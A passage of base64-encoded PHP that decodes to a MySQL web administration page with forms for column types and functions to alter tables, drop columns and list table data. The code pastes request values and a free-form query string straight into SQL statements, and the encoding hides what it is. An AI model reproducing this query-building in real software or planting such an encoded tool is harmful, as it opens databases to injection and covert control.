8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5 cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNoby AnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNl bnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQ o8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90 ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPj xpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFU RSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZW NrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0x Mi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD 4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRk PiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPH RyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2 YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZX RpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1F ICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMz o1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRk PiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3 A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+ DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG 5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5 cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2 hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4g MjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCj x0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3Rk Pg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dG Q+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQg dHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IG lmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtl Y2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSE g6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5i c3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdG Q+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48 aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQV IiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVj a2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIF lZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8 L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQ o8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5w dXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiIC c7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2Vk IjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk 88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+ DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC 90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFk aW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJH R5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNo byAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC 90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0K PHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdG Q+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlv IG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdH lwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNo byAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3 A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+ DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdH I+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10 eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleH QiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2 NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcD wvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4N Cjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbn B1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVN VEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIG VjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4g MTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm 5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwv dGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD 48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxP TkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIG VjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQy OTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm 5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwv dGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD 48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJ TllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIG VjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1 NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdG Q+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0 ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dC B0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsg aWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2 VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJz cDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD 4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90 cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPX R5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9 PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvIC c+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+ Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcD wvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4N CjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbm FtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBl ID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvIC c+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+ Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcD wvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4N CjwvdHI+IA0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG 5hbWU9dHlwZSB2YWx1ZT0iRU5VTSIgJzsgaWYoICR0eXBlID09 ICJlbnVtIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5FTlVNPC 90ZD4NCjx0ZCBjb2xzcGFuPTU+PGNlbnRlcj52YWx1ZSBsaXN0 PC9jZW50ZXI+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucH V0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJTRVQiICc7 IGlmKCAkdHlwZSA9PSAic2V0IiApIGVjaG8gImNoZWNrZWQiO2 VjaG8gJz5TRVQ8L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVy PnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCg0KPC 90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8 L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD 48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwn YXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD 48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQg dHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9IC IiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRk IGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NC BuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9 JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW 5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVl PSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZS wgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAn PjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPW NoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxM IiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbG wiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0 ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbm FtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBv cyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaG Vja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+ PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaX N0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFs dWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj 4NCjwvdGFibGU+DQoNCg0KPGgzPkZsYWdzPC9oMz4NCjx0YWJs ZT4NCjx0cj48dGg+bm90IG51bGw8L3RoPjx0aD5kZWZhdWx0IH ZhbHVlPC90aD48dGg+YXV0byBpbmNyZW1lbnQ8L3RoPjx0aD5w cmltYXJ5IGtleTwvdGg+PC90cj4NCjx0cj4NCjx0ZCBhbGlnbj 1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1ub3Rf bnVsbCB2YWx1ZT0iTk9UIE5VTEwiICc7IGlmKCAkZmllbGRudW xsICE9ICJZRVMiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwv dGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPXRleH QgbmFtZT1kZWZhdWx0X3ZhbHVlICc7IGlmKCAkZmllbGRkZWZh dWx0ICE9ICIiICkgZWNobyAidmFsdWU9JGZpZWxkZGVmYXVsdC I7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1 dCB0eXBlPWNoZWNrYm94IG5hbWU9YXV0b19pbmNyZW1lbnQgdm FsdWU9IkFVVE9fSU5DUkVNRU5UIiAnOyBpZiggJGZpZWxkZXh0 cmEgPT0gImF1dG9faW5jcmVtZW50IiApIGVjaG8gImNoZWNrZW QiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5w dXQgdHlwZT1jaGVja2JveCBuYW1lPXByaW1hcnlfa2V5IHZhbH VlPSJQUklNQVJZIEtFWSIgJzsgaWYoICRmaWVsZGtleSA9PSAi UFJJIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPg0KPC 90cj4NCjwvdGFibGU+DQoNCjxwPic7DQoNCglpZiggJGNtZCA9 PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdC B2YWx1ZT0nQWRkIEZpZWxkJz5cbiI7DQoJZWxzZSBpZiggJGNt ZCA9PSAiZWRpdCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdW JtaXQgdmFsdWU9J0VkaXQgRmllbGQnPlxuIjsNCgllY2hvICI8 aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9Q2FuY2VsIG9uQ2xpY2 s9J2hpc3RvcnkuYmFjaygpJz5cbiI7DQoJZWNobyAiPC9mb3Jt PlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGRfc3VibW l0KCAkY21kICkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRk Ym5hbWUsICR0YWJsZW5hbWUsICRvbGRfbmFtZSwgJG5hbWUsIC R0eXBlLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZywN CgkJJE0sICRELCAkdW5zaWduZWQsICR6ZXJvZmlsbCwgJGJpbm FyeSwgJG5vdF9udWxsLCAkZGVmYXVsdF92YWx1ZSwgJGF1dG9f aW5jcmVtZW50LCAkcHJpbWFyeV9rZXksICR2YWx1ZWxpc3Q7DQ oNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9 ICJBTFRFUiBUQUJMRSAkdGFibGVuYW1lIEFERCAkbmFtZSAiOw 0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJJHF1ZXJ5 U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQ0hBTkdFIC RvbGRfbmFtZSAkbmFtZSAiOw0KCQ0KCWlmKCAkTSAhPSAiIiAp DQoJCWlmKCAkRCAhPSAiIiApDQoJCQkkcXVlcnlTdHIgLj0gIi R0eXBlKCRNLCREKSAiOw0KCQllbHNlDQoJCQkkcXVlcnlTdHIg Lj0gIiR0eXBlKCRNKSAiOw0KCWVsc2UgaWYoICR2YWx1ZWxpc3 QgIT0gIiIgKSB7DQoJCSR2YWx1ZWxpc3QgPSBzdHJpcHNsYXNo ZXMoICR2YWx1ZWxpc3QgKTsNCgkJJHF1ZXJ5U3RyIC49ICIkdH lwZSgkdmFsdWVsaXN0KSAiOw0KCX0gZWxzZQ0KCQkkcXVlcnlT dHIgLj0gIiR0eXBlICI7DQoNCgkkcXVlcnlTdHIgLj0gIiR1bn NpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KDQoJaWYoICRk ZWZhdWx0X3ZhbHVlICE9ICIiICkNCgkJJHF1ZXJ5U3RyIC49IC JERUZBVUxUICckZGVmYXVsdF92YWx1ZScgIjsNCgkNCgkkcXVl cnlTdHIgLj0gIiRub3RfbnVsbCAkYXV0b19pbmNyZW1lbnQiOw 0KDQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxI YW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbX lzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3Io KTsNCg0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZm Fsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBL RVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9IC IiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXko JHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PS AiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFt ZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw 0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29s dW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT 0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwg JG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQ oJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiAp Ow0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID 0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZ IEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcn lTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAi PGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVE VSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAk cHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCS RxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNn IC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoNCg l2aWV3U2NoZW1hKCk7DQp9DQoNCmZ1bmN0aW9uIGRyb3BGaWVs ZCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLC AkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRx dWVyeVN0ciwgJGVyck1zZzsNCg0KCSRxdWVyeVN0ciA9ICJBTF RFUiBUQUJMRSAkdGFibGVuYW1lIERST1AgQ09MVU1OICRmaWVs ZG5hbWUiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG 15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0 ciAsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF 9lcnJvcigpOw0KDQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5j dGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbC AkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJs ZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3 dwZXJwYWdlLCAkb3JkZXJieTsNCg0KCWVjaG8gIjxoMT5EYXRh IGluIFRhYmxlPC9oMT5cbiI7DQoJaWYoICR0YWJsZW5hbWUgIT 0gIiIgKQ0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJu YW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7DQoJZWxzZQ0KCQ llY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lPC9wPlxu IjsNCg0KCSRxdWVyeVN0ciA9IHN0cmlwc2xhc2hlcyggJHF1ZX J5U3RyICk7DQoJaWYoICRxdWVyeVN0ciA9PSAiIiApIHsNCgkJ JHF1ZXJ5U3RyID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZS I7DQoJCWlmKCAkb3JkZXJieSAhPSAiIiApDQoJCQkkcXVlcnlT dHIgLj0gIiBPUkRFUiBCWSAkb3JkZXJieSI7DQoJCWVjaG8gIj xhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YWRkRGF0YSZkYm5h bWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+QWRkIE RhdGE8L2E+IHwgXG4iOw0KCQllY2hvICI8YSBocmVmPSckUEhQ X1NFTEY/YWN0aW9uPXZpZXdTY2hlbWEmZGJuYW1lPSRkYm5hbW UmdGFibGVuYW1lPSR0YWJsZW5hbWUnPlNjaGVtYTwvYT5cbiI7 DQoJfQ0KDQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJG RibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3Fs X2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID 0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vy cm9yKCk7DQoNCgkkR0xPQkFMU1txdWVyeVN0cl0gPSAkcXVlcn lTdHI7DQoNCglpZiggJHBSZXN1bHQgPT0gZmFsc2UgKSB7DQoJ CWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCW lmKCAkcFJlc3VsdCA9PSAxICkgew0KCQkkZXJyTXNnID0gIlN1 Y2Nlc3MiOw0KCQllY2hvUXVlcnlSZXN1bHQoKTsNCgkJcmV0dX JuOw0KCX0NCg0KCWVjaG8gIjxocj5cbiI7DQoNCgkkcm93ID0g bXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJJGNvbCA9IG 15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoNCglpZigg JHJvdyA9PSAwICkgew0KCQllY2hvICJObyBEYXRhIEV4aXN0IS I7DQoJCXJldHVybjsNCgl9DQoJDQoJaWYoICRyb3dwZXJwYWdl ID09ICIiICkgJHJvd3BlcnBhZ2UgPSAzMDsNCglpZiggJHBhZ2 UgPT0gIiIgKSAkcGFnZSA9IDA7DQoJZWxzZSAkcGFnZS0tOw0K CW15c3FsX2RhdGFfc2VlayggJHBSZXN1bHQsICRwYWdlICogJH Jvd3BlcnBhZ2UgKTsNCg0KCWVjaG8gIjx0YWJsZSBjZWxsc3Bh Y2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj 5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyAp IHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUm VzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFj dGlvbiA9PSAidmlld0RhdGEiKQ0KCQkJZWNobyAiPGEgaHJlZj 0nJFBIUF9TRUxGP2FjdGlvbj12aWV3RGF0YSZkYm5hbWU9JGRi bmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZvcmRlcmJ5PSIuJG ZpZWxkLT5uYW1lLiInPiIuJGZpZWxkLT5uYW1lLiI8L2E+XG4i Ow0KCQllbHNlDQoJCQllY2hvICI8Zm9udAlzdHlsZT0ndGV4dC 1kZWNvcmF0aW9uOm5vbmU7Y29sb3I6IzAwMDAwMDtmb250LXNp emU6eC1zbWFsbDsnPiIuJGZpZWxkLT5uYW1lLiI8L2ZvbnQ+XG 4iOw0KCQllY2hvICI8L3RoPlxuIjsNCgl9DQoJZWNobyAiPHRo IGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3 RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJw YWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZX RjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkg PT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCg kJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29s OyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw 0KDQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBS ZXN1bHQsICRqICk7DQoJCQlpZiggJGZpZWxkLT5wcmltYXJ5X2 tleSA9PSAxICkNCgkJCQkka2V5IC49ICImIiAuICRmaWVsZC0+ bmFtZSAuICI9IiAuICRkYXRhOw0KDQoJCQlpZiggc3RybGVuKC AkZGF0YSApID4gMzAgKQ0KCQkJCSRkYXRhID0gc3Vic3RyKCAk ZGF0YSwgMCwgMzAgKSAuICIuLi4iOw0KCQkJJGRhdGEgPSBodG 1sc3BlY2lhbGNoYXJzKCAkZGF0YSApOw0KCQkJZWNobyAiPHRk PlxuIjsNCgkJCWVjaG8gIiRkYXRhXG4iOw0KCQkJZWNobyAiPC 90ZD5cbiI7DQoJCX0NCgkJIA0KCQlpZiggJGtleSA9PSAiIiAp DQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG 4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSck UEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JG RibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48 L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1 NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJu YW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicm V0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8 L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQ oJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KDQoJZWNobyAiPGZv bnQgc2l6ZT0yPlxuIjsNCglpZigkYWN0aW9uID09ICJ2aWV3RG F0YSIpDQoJCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxG P2FjdGlvbj12aWV3RGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW 5hbWU9JHRhYmxlbmFtZScgbWV0aG9kPXBvc3Q+XG4iOw0KCWVs c2UNCgkJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEY/YW N0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0k dGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0cicgbWV0aG9kPX Bvc3Q+XG4iOw0KCWVjaG8gIjxmb250IGNvbG9yPWdyZWVuPlxu IjsNCgllY2hvICgkcGFnZSsxKS4iLyIuKGludCkoJHJvdy8kcm 93cGVycGFnZSsxKS4iIHBhZ2UiOw0KCWVjaG8gIjwvZm9udD5c biI7DQoJZWNobyAiIHwgIjsNCglpZiggJHBhZ2UgPiAwICkgew 0KCQlpZigkYWN0aW9uID09ICJ2aWV3RGF0YSIpDQoJCQllY2hv ICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXZpZXdEYXRhJm RibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBh Z2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocm VmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJu YW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdW VyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5 ICE9ICIiICYmICRhY3Rpb24gPT0gInZpZXdEYXRhIikNCgkJCW 